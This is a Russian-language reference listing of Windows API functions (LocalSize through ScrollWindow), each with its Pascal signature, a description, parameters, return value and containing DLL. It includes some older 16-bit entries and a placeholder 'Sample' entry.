Функция LocalSize Описание: function LocalSize(Mem: THandle): Longint; Считывает текущий размер блока локальной памяти. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: Фактический размер (в байтах); 0 - если Mem неверный или уничтожен. функция находится в файле kernel32.dll
Функция LocalShrink Описание: function LocalShrink(Seg: THandle, Size: Word): Word; Уменьшает локальную кучу до указанного размера, который не может быть меньше минимального размера, указанного в файле определения модуля прикладной задачи. Параметры: Seg: Сегмент, содержащий локальную кучу или нуль для текущего сегмента данных. Size: Нужный размер в байтах. Возвращаемое значение: Размер после уменьшения. См. также: GlobalSize функция находится в файле kernel32.dll
Функция LocalSize Описание: function LocalSize(Mem: THandle): Word; Считывает текущий размер блока локальной памяти. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: Размер блока (в байтах); 0 - если Mem неверный. функция находится в файле kernel32.dll
Функция LocalUnlock Описание: function LocalUnlock(Mem: THandle): Bool; Разблокирует блок локальной памяти, уменьшая его счетчик захватов. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: Нуль, если счетчик захватов блока уменьшился до нуля (что делает возможным перемещение или уничтожение блока); не нуль, если нет. функция находится в файле kernel32.dll
Функция LockData Описание: function LockData(Dummy: Integer): THandle; Блокирует текущий перемещаемый сегмент данных в памяти. Параметры: Dummy: Не используется. Установлен в 0. Возвращаемое значение: Идентификатор для блокированного сегмента; 0 - в случае неудачи.
Функция LockResource Описание: function LockResource(RezData: THandle): Pointer; Считывает адрес загруженного ресурса и увеличивает его счетчик ссылок. После этого ресурс не может быть ни перемещен, ни уничтожен. Параметры: RezData: Идентификатор ресурса, возвращенный LoadResource. Возвращаемое значение: Указатель на загруженный ресурс; nil, если нет. функция находится в файле kernel32.dll
Функция LockSegment Описание: function LockSegment(Segment: Word): THandle; Блокирует сегмент (исключая неуничтожаемые сегменты защищенного режим) и увеличивает его счетчик ссылок. Параметры: Segment: Адрес сегмента или -1 для текущего сегмента. Возвращаемое значение: Указатель на сегмент; nil, если ошибка или сегмент уничтожен.
Функция LoWord Описание: function LoWord(AnInteger: Longint): Word; Выделяет из 32-битового целочисленного значения младшее слово. Параметры: AnInteger: 32-битовое целое. Возвращаемое значение: Младшее слово.
Функция LPtoDP Описание: function LPtoDP(DC: HDC; var Points; Count: Integer): Bool; Преобразует логические точки в Points, в текущем режиме отображения, в точки устройства. Параметры: DC: Идентификатор контекста устройства. Points: Массив структур TPoints. Count: Размер Points. Возвращаемое значение: Не нуль, если преобразованы все точки; нуль - если нет. функция находится в файле gdi32.dll.
Функция lstrcat Описание: function lstrcat(Str1, Str2: PChar): PChar; Сцепляет Str1 с Str2. Параметры: Str1: Первая строка (заканчивающаяся пустым символом). Str2: Вторая строка (заканчивающаяся пустым символом). Возвращаемое значение: В случае успешного завершения - Str1; 0 - в противном случае. функция находится в файле kernel32.dll
Функция lstrcmp Описание: function lstrcmp(Str1, Str2: PChar): PChar; Выполянет лексикографическое сравнение двух строк с учетом их регистра, базирующееся на текущем выбранном языке. Символы верхнего регистра сравниваются медленнее, чем символы нижнего регистра. Параметры: Str1: Первая строка (заканчивающаяся пустым символом). Str2: Вторая строка (заканчивающаяся пустым символом). Возвращаемое значение: Меньше нуля, если Str1 < Str2; нуль, если Str1 = Str2; больше нуля, Str1 > Str2. функция находится в файле kernel32.dll
Функция lstrcmpi Описание: function lstrcmpi(Str1, Str2: PChar): PChar; Выполянет лексикографическое сравнение двух строк без учета их регистра, базирующееся на текущем выбранном языке. Параметры: Str1: Первая строка (заканчивающаяся пустым символом). Str2: Вторая строка (заканчивающаяся пустым символом). Возвращаемое значение: Меньше нуля, если Str1 < Str2; нуль, если Str1 = Str2; больше нуля, Str1 > Str2. функция находится в файле kernel32.dll
Функция lstrcpy Описание: function lstrcpy(Str1, Str2: PChar): PChar; Копирует Str2 (включая пустой символ) в Str1. Параметры: Str1: Первая строка (заканчивающаяся пустым символом). Str2: Вторая строка (заканчивающаяся пустым символом). Возвращаемое значение: В случае успешного завершения - указатель на Str1; 0 - в противном случае. функция находится в файле kernel32.dll
Функция lstrlen Описание: function lstrlen(Str: PChar): Integer; Вычисляет длину (не включая пустой символ) строки Str. Параметры: Str: Строка (заканчивающаяся пустым символом). Возвращаемое значение: Длина Str в байтах. функция находится в файле kernel32.dll.
Функции Win32 API [ M ].
Функция MakeLong Описание: function MakeLong(Low, High: Word): Longint; Сцепляет два значения, каждое длиной в слово, в одно длинное значение без знака. Параметры: Low: Младшее слово нового длинного без знака. High: Старшее слово нового длинного без знака. Возвращаемое значение: Получившееся длинное целое без знака.
Функция MakeProcInstance Описание: function MakeProcInstance(Proc: TFarProc; Instance: THandle): TFarProc; Создает адрес экземпляра процедуры для указанной экспортированной функции. Параметры: Proc: Адрес экспортированной функции TFarProc. Instance: Идентификатор экземпляра модуля. Возвращаемое значение: В случае успешного завершения - адрес экземпляра процедуры функции; 0 - в противном случае.
Функция MapDialogRect Описание: function MapDialogRect(Dlg: HWnd; var Rect: TRect); Преобразует единицы блока диалога в Rect в единицы экрана. Параметры: Dlg: Идентификатор блока диалога. Rect: Структура TRect. функция находится в файле user32.dll
Функция MapVirtualKey Описание: function MapVirtualKey(Code, MapType: Word): Word; Отображает код виртуальной клавиши или scan-код для клавиши в соответствующий ему scan-код, код виртуальной клавиши или значение ASCII в соответствии со значением параметра MapType. Параметры: Code: Код виртуальной клавиши или scan_код для клавиши, определенный значением MapType. MapType: (0) код виртуальной клавиши; (1) scn-код; (2) код виртуальной клавиши. Возвращаемое значение: Если MapType равен нулю, возвращается scan-код; если он равен 1, то возвращается код виртуальной клавиши; если он равен 2, то возвращается несдвинутое значение ASCII. функция находится в файле user32.dll.
Функция MessageBeep Описание: function MessageBeep(BeepType: Word); Вызывает пищание системного динамика. Параметры: BeepType: Установлен в нуль. функция находится в файле user32.dll
Функция MessageBox Описание: function MessageBox(Parent: HWnd; Txt, Caption: PChar; TextType: Word): Integer; Создает и отображает блок диалога, содержащий указанное сообщение и заголовок, а также предопределенные пиктограммы и текстовые кнопки, в соответствии с параметром TexType. Параметры: Parent: Окно, владеющее блоком сообщений. Txt: Отображаемое сообщение (заканчивающееся пустым символом). Caption: Заголовок блока диалога (заканчивающийся пустым символом) или nil для "Error" ("Ошибка"). TextType: Одна или комбинация констант mb_. См. раздел "Флаги блока сообщения, mb_" в главе 1. Возвращаемое значение: В случае успешного завершения одна из следующих констант: id_Abort, id_Cancel, id_Ignore, id_No, id_OK, id_Retry или id_Yes. См. раздел "Идентификаторы команд блока диалога, id_" в главе 1. функция находится в файле user32.dll
Функция ModifyMenu Описание: function ModifyMenu(Menu: HMenu; Position, Flags, IDNewItem: Word, NewItem: PChar): Bool; Изменяет существующий элемент меню, чье новое состояние определяется параметром Flags. Параметры: Menu: Идентификатор меню. Position: Идентификатор команды или положение элемента меню. Flags: Комбинация mf_ByCommand или mf_ByPosition с mf_Bitmap, mf_Checked, mf_Disabled, mf_Enabled, mf_Grayed, mf_MenuBarBreak mf_MenuBreak, mf_OwnerDraw, mf_Popup, mf_Separator, mf_String, mf_UnChecked. См. раздел "Флаги меню mf_" в главе 1. IDNewItem: Идентификатор команды или описатель меню модифицируемого элемента меню (если Flags установлен в mf_Popup). NewItem: Строка (mf_String), HBitmap (mf_Bitmap) или данные из прикладной задачи (mf_OwnerDraw). Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. функция находится в файле user32.dll
Функция MoveTo Описание: function MoveTo(DC: HDC; X, Y: Integer): Longint; Перемещает текущую позицию в указанную точку. Параметры: DC: Идентификатор контекста устройства. X, Y: Новая позиция. Возвращаемое значение: Координаты X и Y предыдущей позиции в младшем и старшем слове, соответственно.
Функция MoveWindow Описание: function MoveWindow(Wnd: HWnd; X, Y, Width, Height: Integer; Repaint: Bool); Посылает окну сообщение wm_Size. Значения ширины и высоты, переданные в wm_Size, совпадают с размерами области пользователя. Параметры: Wnd: Идентификатор всплывающего или дочернего окна. X, Y: Новый верхний левый угол окна. Width: Новая ширина окна. Height: Новая высота окна. Repaint: Не нуль, если после перемещения окно нужно вновь раскрасить. функция находится в файле user32.dll
Функция MulDiv Описание: function MulDiv(Number, Numerator, Denominator: Integer): Integer; Умножает Numerator на Number и делит результат на Denominator, округляя получаемое значение до длижайшего целого. Параметры: Number: Одно число. Numerator: Другое число. Denominator: Третье число. Возвращаемое значение: Результирующее значение; 32767 или -32767, если переполнение или Denominator равен нулю. функция находится в файле kernel32.dll.
Функции Win32 API [ O ].
Функция OEMKeyScan Описание: function OEMKeyScan(OemChar: Word): Longint; Отображает OemChar в scan-коды OEM. Параметры: OemChar: Код символа OEM в кодах ASCII (0 - $0FF). Возвращаемое значение: В случае успешного завершения scan-код и состояние сдвига (бит 2 - нажата клавиша Ctrl, бит 1 - нажата клавиша Shift) в младшем и старшем слове, соответственно; в противном случае, -1 в младшем и старшем слове. функция находится в файле user32.dll
Функция OEMToAnsi Описание: function OEMToAnsi(OemSt, AnsiStr: PChar): Bool; Переводит OemStr в символьный набор ANSI. Параметры: OemStr: Строка (заканчивающаяся пустым символом) символов OEM. AnsiStr: Принимающий буфер или OemStr для перевода на месте. Возвращаемое значение: Всегда False (-1). функция находится в файле user32.dll
Функция OEMToAnsiBuff Описание: function OEMToAnsiBuff(OemSt, AnsiStr: PChar; Length: Integer); Переводит OemStr в символьный набор ANSI. Параметры: OemStr: Буфер символов OEM. AnsiStr: Принимающий буфер или OemStr для перевода на месте. Length: Размер OemStr. функция находится в файле user32.dll
Функция OffsetClipRgn Описание: function OffsetClipRgn(DC: HDC; X, Y: Integer): Integer; Перемещает область вырезания устройства в соответствии с указанными смещениями X и Y. Параметры: DC: Идентификатор контекста устройства. X: Логические единицы перемещения влево или вправо. Y: Логические единицы перемещения вверх или вниз. Возвращаемое значение: Один из флагов ComplexRegion, NullRegion, SimpleRegion или Error. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll
Функция OffsetRect Описание: function OffsetRect(var Rect: TRect; X, Y: Integer); Изменяет координаты прямоугольника на указанные смещения по X и Y. Параметры: Rect: Структура TRect. X: Единицы перемещения влево или вправо. Y: Единицы перемещения вверх или вниз. функция находится в файле user32.dll
Функция OffsetRgn Описание: function OffsetRgn(Rgn: HRgn; X, Y: Integer): Integer; Смещает область в сторону на указанные смещения по X и Y. Параметры: Rgn: Идентификатор области. X: Единицы перемещения влево или вправо. Y: Единицы перемещения вверх или вниз. Возвращаемое значение: Один из флагов ComplexRegion, NullRegion, SimpleRegion или Error. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll
Функция OffsetViewportOrg Описание: function OffsetViewportOrg(DC: HDC; X, Y: Integer): Longint; Смещает начало точки зрения, суммируя текущее начало с указанными значениями X и Y. Параметры: DC: Идентификатор контекста устройства. X: Смещение начала координат по X. Y: Смещение начала координат по Y. Возвращаемое значение: Координаты X и Y предыдущего начала в старшем и младшем слове, соответственно.
Функция OffsetWindowOrg Описание: function OffsetWindowOrg(DC: HDC; X, Y: Integer): Longint; Модифицирует начало окна, суммируя текущее начало с указанными значениями X и Y. Параметры: DC: Идентификатор контекста устройства. X: Смещение начала координат по X (в логических единицах). Y: Смещение начала координат по Y (в логических единицах). Возвращаемое значение: Координаты X и Y предыдущего начала в старшем и младшем слове, соответственно.
Функция OpenClipboard Описание: function OpenClipboard(Wnd: HWnd): Bool; Открывает буфер вырезанного изображения для исключительного использования прикладной задачей. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль в случае успешного завершения; нуль, если буфер уже открыт другой прикладной задачей. См. также: CloseClipboard функция находится в файле user32.dll
Функция OpenComm Описание: function OpenComm(ComName: PChar; InQueue, OutQueue: Word): Integer; Открывает устройство связи. Устройство инициализируется со стандартной конфигурацией, и для него организуются очереди приема и передачи. Параметры: ComName: Строка, содержащая 'COMn' или 'LPTn', где n - целое. InQueue: Размер очереди приема; для портов LPT игнорируется. OutQueue: Размер очереди передачи; для портов LPT игнорируется. Возвращаемое значение: Описатель устройства связи в случае успешного завершения; отрицательное значение в случае неудачи; один из флагов ie_BaudRate, ie_ByteSize, ie_Default, ie_Hardware, ie_Memory, ie_NOpen, ie_Open. См. раздел "Флаги ошибок открытия устройства связи, ie_" в главе 1. См. также: SetCommState
Функция OpenFile Описание: function OpenFile(FileName: PChar; var ReOpenBuff: TOFStruct: Style: Word): Integer; Создает, открывает, повторно открывает и удалает файл. Параметры: FileName: Указанное имя файла. ReOpenBuff: Принимает информацию о файле, когда файл открыт. Style: Определяет действие. Одна из констант of_. См. раздел "Константы открытия файла" в главе 1. Возвращаемое значение: Описатель файла DOS в случае успешного завершения; -1 - в противном случае. функция находится в файле kernel32.dll
Функция OpenIcon Описание: function OpenIcon(Wnd: HWnd): Bool; Восстанавливает минимизированное окно в его исходный размер и положение. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll
Функция OpenSound Описание: function OpenSound: Integer; Открывает устройство воспроизведения для исключительного использования прикладной задачей. Возвращаемое значение: Число доступных звуков; s_serDVNA, если занято; или s_serOFM, если не хватает памяти. См. раздел "Звуковые константы s_" в главе 1.
Функция OutputDebugString Описание: function OutputDebugString(OutputString: PChar); Посылает строку OutputString отладчику, если он присутствует, или в порт AUX в отладочной версии Windows. Параметры: OutputString: Строка (заканчивающаяся пустым символом). функция находится в файле kernel32.dll.
Функции Win32 API [ P ].
Функция PaintRgn Описание: function PaintRgn(DC: HDC; Rgn: HRgn): Bool; Заполняет область, используя выбранную кисть. Параметры: DC: Контекст устройства. Rgn: Заполняемая область. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll
Функция PaletteRGB Описание: function PaletteRGB(Red, Green, Blue: Byte): Longint; Получает из значений трех основных цветов от 0 до 255 значение цвета RGB, связанное с палитрой. В возвращаемом значении в старшем байте присутствует значение 2. Параметры: Red: Значение интенсивности красного. Green: Значение интенсивности зеленого. Blue: Значение интенсивности синего. Возвращаемое значение: Результирующий цвет RGB.
Функция PatBit Описание: function PatBit(DC: HDC; X, Y, Width, Height: Integer; Rop: Longint): Bool; Создает битовый шаблон, выполняя растровую операцию Rop с использованием выбранной кисти и шаблона, уже имеющегося в устройстве. Параметры: DC: Идентификатор контекста устройства. X, Y: Верхний левый угол прямоугольника. Width: Ширина прямоугольника (в логических единицах). Height: Высота прямоугольника (в логических единицах). Rop: Один из следующих кодов растровых операций: PatCopy, PatInvert, DSTInvert, Blackness или Whiteness. См. раздел "Тернарные растровые операции" в главе 1. Возвращаемое значение: Не нуль, если битовый шаблон нарисован; 0 - если нет.
Функция PeekMessage Описание: function PeekMessage(var Msg: TMsg; Wnd: HWnd; MsgFilterMin, MsgFilterMax: Word): Bool; Проверяет очередь прикладной задачи на сообщение и копирует его в Msg. Если в очереди нет сообщений, функция выполняет немедленный возврат и передает управление Windows. Параметры: Msg: Принимающая структура TMsg. Wnd: Окно назначения сообщения, или 0 для любого окна в прикладной задаче, или -1 для сообщений, направленных функцией PostMessage. MsgFilterMin: Наименьший идентификатор сообщения или 0, если предел отсутствует. MsgFilterMax: Наибольший идентификатор сообщения или 0, если предел отсутствует. RemoveMsg: Один или несколько параметров: pm_NoRemove, pm_NoYield или pm_Remove. См. раздел "Параметры сообщений, pm_" в главе 1. Возвращаемое значение: Не нуль, если сообщение имеется; 0 - если нет. См. также: GetMessage, WaitMessage функция находится в файле user32.dll
Функция Pie Описание: function Pie(DC: HDC, X1, Y1, X2, Y2, X3, Y3, X4, Y4: Integer): Bool; Рисует сектор, центрированный в ограничивающем прямоугольнике, используя выбранное перо и кисть для раскраски. Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника. X3, Y3: Начальная точка дуги. X4, Y4: Конечная точка дуги. Возвращаемое значение: Не нуль, если сектор нарисован; нуль - в противном случае. функция находится в файле gdi32.dll
Функция PlayMetaFile Описание: function PlayMetaFile(DC: HDC, MF: THandle): Bool; Выполняет содержимое метафайла на указанном устройстве. Параметры: DC: Идентификатор контекста устройства. MF: Идентификатор метафайла. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. функция находится в файле gdi32.dll
Функция PlayMetaFileRecord Описание: function PlayMetaFileRecord(DC: HDC, var HandleTable: THandleTable; var MetaRecord: TMetaRecord; Handles: Word); Выполняет вызов функции GDI, содержащийся в записи метафайла. Параметры: DC: Идентификатор контекста устройства. HandleTable: THandleTable, используемая для воспроизведения метафайла. MetaRecord: TMetaRecord воспроизводимого метафайла. Handles: Размер таблицы HandleTable. См. также EnumMetaFile функция находится в файле gdi32.dll
Функция Polygon Описание: function Polygon(DC: HDC, var Points; Count: Integer): Bool; Используя текущий режим заполнения многоугольников, рисует многоугольник, вершины которого указаны параметром Points. Многоугольник может быть замкнутым. Параметры: DC: Идентификатор контекста устройства. Points: Массив структур TPoint. Count: размер Points. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. См. также: SetPolyFillMode функция находится в файле gdi32.dll
Функция Polyline Описание: function Polyline(DC: HDC, var Points; Count: Integer): Bool; Используя выбранное перо, рисует набор линий, где каждая последующая точка определяется параметром Points. Параметры: DC: Идентификатор контекста устройства. Points: Массив структур TPoint. Count: размер Points. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. функция находится в файле gdi32.dll
Функция PolyPolygon Описание: function PolyPolygon(DC: HDC, var Points; var PolyCounts; Count: Integer): Bool; Используя текущий режим заполнения многоугольников, рисует ряд возможно перекрывающихся многоугольников, вершины которых указаны параметром Points. Многоугольники автоматически не замыкаются. Параметры: DC: Идентификатор контекста устройства. Points: Массив структур TPoint. PolyCounts: Массив целых, где каждое число определяет количество вершин для каждого многоугольника в Points. Count: размер PolyCounts. Возвращаемое значение: Не нуль, если многоугольники нарисованы; нуль - в противном случае. функция находится в файле gdi32.dll
Функция PostAppMessage Описание: function PostAppMessage(Task: THandle; Msg, wParam: Word; lParam: Longint): Bool; Направляет сообщение прикладной задаче. Wnd сообщения устанавливается в 0. Параметры: Task: Прикладная задача, которая будет принимать сообщение. Msg: Тип сообщения. wParam: Дополнительная информация о сообщении. lParam: Дополнительная информация о сообщении. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - если нет. См. также: GetCurrentTask, GetMessage, PeekMessage
Функция PostMessage Описание: function PostMessage(Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Bool; Направляет сообщение окну прикладной задачи. Параметры: Wnd: Окно, которое будет принимать сообщение, или $FFFF для всех перекрываемых или всплывающих окон. Msg: Тип сообщения. wParam: Дополнительная информация о сообщении. lParam: Дополнительная информация о сообщении. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - если нет. функция находится в файле user32.dll
Функция PostQuitMessage Описание: function PostQuitMessage(ExitCode: Integer); Направляет сообщение wm_Quit обычно в ответ на сообщение wm_Destroy. Параметры: ExitCode: Код выхода прикладной задачи (wParam сообщения wm_Quit). функция находится в файле user32.dll
Функция PtInRect Описание: function PtInRect(var Rect: TRect; Point: TPoint): Bool; Определяет, лежит ли точка внутри или на верхней или левой стороне указанного прямоугольника. Параметры: Rect: Структура TRect. Points: Структура TPoint. Возвращаемое значение: Не нуль, если TPoint лежит внутри Rect; нуль - в противном случае. функция находится в файле user32.dll
Функция PtInRgn Описание: function PtInRgn(Rgn: HRgn; X, Y: Integer): Bool; Определяет, лежит ли точка внутри указанной области. Параметры: Rgn: Идентификатор области. X, Y: Точка. Возвращаемое значение: Не нуль, если точка лежит внутри Rgn; нуль - в противном случае.
Функция PtVisible Описание: function PtVisible(DC: HDC; X, Y: Integer): Bool; Определяет, лежит ли точка внутри области вырезания указанного устройства. Параметры: DC: Идентификатор контекста устройства. X, Y: Точка. Возвращаемое значение: Не нуль, если точка лежит внутри области вырезания устройства DC; нуль - в противном случае. функция находится в файле gdi32.dll.
Функции Win32 API [ R ].
Функция ReadComm Описание: function ReadComm(Cid: Integer; Buff: PChar; Size: Integer): Integer; Читает устройство Cid, копируя до Size символов в Buf. Параметры: Cid: Устройство связи. Buf: Принимающий буфер. Size Размер буфера. Возвращаемое значение: Фактическое число считанных символов; нуль, если в очереди приема нет символов, и отрицательное число, если ошибка. См. также: GetCommError, OpenComm
Функция RealizePalette Описание: function RealizePalette(DC: HDC): Word; Отображает выбранную логическую палитру в элементы системной палитры. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Число элементов в логической палитре, отображенных в различные элементы системной палитры с момента реализации последней. функция находится в файле gdi32.dll
Функция Rectangle Описание: function Rectangle(DC: HDC, X1, Y1, X2, Y2: Integer): Bool; Рисует прямоугольник, используя выбранное перо, и закрашивает его внутренность с помощью текущей выбранной кисти. Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол прямоугольника. X2, Y2: Правый нижний угол прямоугольника. Возвращаемое значение: Не нуль, если прямоугольник нарисован; нуль - в противном случае. функция находится в файле gdi32.dll
Функция RectInRegion Описание: function RectInRegion(Region: HRgn; var Rect: TRect): Bool; Определяет, лежит ли какая-либо часть прямоугольника Rect внутри указанной области. Параметры: Region: Идентификатор области. Rect: Структура TRect. Возвращаемое значение: Не нуль, если внутри границ области; нуль - в противном случае. функция находится в файле gdi32.dll
Функция RectVisible Описание: function RectVisible(DC: HDC; var Rect: TRect): Bool; Определяет, лежит ли какая-либо часть прямоугольника Rect внутри области вырезания указанного у Параметры: DC: Идентификатор контекста устройства. Rect: Структура TRect. Возвращаемое значение: Не нуль, если лежит внутри области вырезания устройства; нуль - в противном случае. функция находится в файле gdi32.dll
Функция RegisterClass Описание: function RegisterClass(var WndClass: TWndClass): Bool; Регистрирует класс окна, атрибуты которого определены параметром WndClass, для последующего использования. Класс окна может регистрироваться только один раз. Параметры: WndClass: Структура TWndClass. Возвращаемое значение: Не нуль, если класс зарегистрирован; нуль - в противном случае. функция находится в файле user32.dll
Функция RegisterClipboardFormat Описание: function RegisterClipboardFormat(FormatName: PChar): Word; Регистрирует формат буфера вырезанного изображения, увеличивая счетчик ссылок на формат, если он уже был ранее зарегистрирован. Параметры: FormatName: Имя формата (заканчивающееся пустым символом). Возвращаемое значение: В случае успешного завершения возвращает идентификатор зарегистрированного формата ($C000 - $FFFF); 0 - в противном случае. функция находится в файле user32.dll
Функция RegisterWindowMessage Описание: function RegisterWindowMessage(Str: PChar): Word; Определяет уникальное оконное сообщение для всей системы. Параметры: Str: Регистрируемая строка (заканчивающееся пустым символом). Возвращаемое значение: В случае успешного завершения возвращает идентификатор сообщения ($C000 - $FFFF); 0 - в противном случае. функция находится в файле user32.dll
Функция ReleaseCapture Описание: function ReleaseCapture; Освобождает заголовок мыши, восстанавливая нормальную обработку ввода. См. также: SetCapture функция находится в файле user32.dll
Функция ReleaseDC Описание: function ReleaseDC(Wnd: HWnd; DC: HDC): Integer; Освобождает общий или оконный (не влияющий на класс или локальность) контекст устройства, делая его доступным для других прикладных задач. Параметры: Wnd: Идентификатор окна. DC: Идентификатор контекста устройства. Возвращаемое значение: 1, если устройство освобождено; 0 - если нет. См. также: GetDC, GetWindowDC функция находится в файле user32.dll
Функция RemoveFontResource Описание: function RemoveFontResource(FileName: PChar): Bool; Удаляет шрифт из таблицы шрифтов Windows. Шрифт не удаляется до тех пор, пока не будут удалены все ссылки на ресурс. Параметры: FileName: Описатель экземпляра модуля или имя файла ресурса шрифта, заканчивающееся пустым символом. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. См. также: DeleteObject, wm_FontChange функция находится в файле gdi32.dll
Функция RemoveMenu Описание: function RemoveMenu(Menu: HMenu; Position, Flags: Word): Bool; Не разрушая, удаляет элемент меню или соответствующее всплытие из указанного меню. Всплытие может быть использовано в последующих операциях. Параметры: Menu: Идентификатор меню. Position: Идентификатор команды или положение элемента меню. Flags: mf_ByCommand или mf_ByPosition, определяющий природу аргумента Position. См. раздел "Флаги меню, mf_" в главе 1. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. См. также: DrawMenuBar, GetSubMenu функция находится в файле user32.dll
Функция RemoveProp Описание: function RemoveProp(Wnd: HWnd; Str: PChar): THandle; Удаляет элемент, указанный параметром Str, из списка свойств окна. Освобождение возвращаемого описателя данных лежит на прикладной задаче. Параметры: Wnd: Идентификатор окна. Str: Строка (заканчивающаяся пустым символом) или атом. Возвращаемое значение: Описатель данных строки; 0 - если строка не найдена. См. также: AddAtom функция находится в файле user32.dll
Функция ReplyMessage Описание: function ReplyMessage(Reply: Longint); Отвечает на сообщение, посланное путем вызова SendMessage, позволяя задачам, вызвавшим SendMessage и ReplyMessage, обеим продолжать выполнение. Параметры: Reply: Возвращаемый результат, зависящий от сообщения. функция находится в файле user32.dll
Функция ResizePalette Описание: function ResizePalette(Palette: HPalette; NumEntries: Word): Bool; Изменяет размер логической палитры на NumEntries. В случае увеличения дополнительные элементы устанавливаются в черный цвет. Параметры: Palette: Идентификатор логической палитры. NumEntries: Новый размер палитры. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll
Функция RestoreDC Описание: function RestoreDC(DC: HDC; SaveDC: Integer): Bool; Восстанавливает контекст устройства в предыдущее состояние, указанное параметром SaveDC, из стека контекста. Информация состояния удаляется, если SaveDC находится не в вершине стека. Параметры: DC: Идентификатор контекста устройства. SaveDC: Значение возврата от предыдущего вызова SaveDC или -1 для контекста устройства, сохраненного последним. Возвращаемое значение: Не нуль, если восстановлен; 0 - если нет. функция находится в файле gdi32.dll
Функция RGB Описание: function RGB(Red, Green, Blue: Byte): Longint; Получает из значений трех основных цветов от 0 до 255 значение цвета RGB, связанное с палитрой. Параметры: Red: Значение интенсивности красного. Green: Значение интенсивности зеленого. Blue: Значение интенсивности синего. Возвращаемое значение: Результирующий цвет RGB.
Функция RoundRect Описание: function RoundRect(DC: HDC; X1, Y1, X2, Y2, X3, Y3: Integer): Bool; Рисует прямоугольник с загругленными углами, используя выбранное перо, и закрашивает его выбранной кистью. Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол прямоугольника. X2, Y2: Правый нижний угол прямоугольника. X3: Ширина эллипса для рисования закругленных углов. Y3: Высота эллипса для рисования закругленных углов. Возвращаемое значение: Не нуль, если нарисован; 0 - если нет. функция находится в файле gdi32.dll.
Функции Win32 API [ S ].
Функция Sample Описание: function Sample(AParam: PType; A2ndParam: P2ndType): Word; Это краткое описание использования функции Sample. Параметры: AParam: описание первого параметра. A2ndParam: описание второго параметра. Возвращаемое значение: Значение Word, возвращаемое функцией Sample, означает одно значение в случае некоторого значения и что-либо другое - в случае другого значения. См. также: функция Unsample, Resample
Функция SaveDC Описание: function SaveDC(DC: HDC): Integer; Сохраняет текущее состояние DC в стеке контекста. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: В случае успешного завершения - сохраненный контекст устройства; 0 - в противном случае. функция находится в файле gdi32.dll
Функция ScaleViewportExt Описание: function ScaleViewportExt(DC: HDC; Xnum, Xdenom, Ynum, Ydenom: Integer): Longint; Модифицирует экстенты текущего порта наблюдения. Параметры: DC: Идентификатор контекста устройства. Xnum: Значение, на которое умножается текущий экстент по X. Xdenom: Значение, на которое делится текущий экстент по X. Ynum: Значение, на которое умножается текущий экстент по Y. Ydenom: Значение, на которое делится текущий экстент по Y. Возвращаемое значение: Предыдущие экстенты по Y и X в старшем и младшем слове, соответственно.
Функция ScaleWindowExt Описание: function ScaleWindowExt(DC: HDC; Xnum, Xdenom, Ynum, Ydenom: Integer): Longint; Модифицирует экстенты текущего окна. Параметры: DC: Идентификатор контекста устройства. Xnum: Значение, на которое умножается текущий экстент по X. Xdenom: Значение, на которое делится текущий экстент по X. Ynum: Значение, на которое умножается текущий экстент по Y. Ydenom: Значение, на которое делится текущий экстент по Y. Возвращаемое значение: Предыдущие экстенты по Y и X в старшем и младшем слове, соответственно.
Функция ScreenToClient Описание: function ScreenToClient(Wnd: HWnd; var Point); Конвертирует и заменяет в указанном окне значения координат экрана в Point на координаты пользователя. Параметры: Wnd: Идентификатор окна. Point: Структура TPoint. функция находится в файле user32.dll
Функция ScrollDC Описание: function ScrollDC(DC: HDC; dx, dy: Integer; var Scroll, Clip: TRect; UpdateRgn: HRgn; UpdateRect: LPRect): Bool; Прокручивает прямоугольник из бит на dx и dy единиц. Параметры: DC: Идентификатор контекста устройства. dx: Единицы прокрутки по горизонтали. dy: Единицы прокрутки по вертикали. Scroll: Структура TRect, содержащая прокручиваемый прямоугольник. Clip: Структура TRect, содержащая вырезаемый прямоугольник. UpdateRgn: Область ScrollDC, не охваченная процессом прокрутки. Если nil, область обновления не вычисляется. UpdateRect: Принимающая структура TRect, содержащая прямоугольник, ограничивающий область обновления прокрутки. Если nil, область обновления не вычисляется. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll
Функция ScrollWindow Описание: function ScrollWindow(Wnd: HWnd; XAmount, YAmount: Rect, ClipRect: LPRect); Прокручивает область пользователя окна на величину XAmount и YAmount. Параметры: Wnd: Идентификатор окна. XAmount: Единицы устройства для прокрутки по горизонтали. YAmount: Единицы устройства для прокрутки по вертикали. Rect: Структура TRect прокручиваемой области пользователя или nil для всей области пользователя. ClipRect: Вырезаемая структура TRect или nil для всего окна. См. также: UpdateWindow, wm_Paint функция находится в файле user32.dll
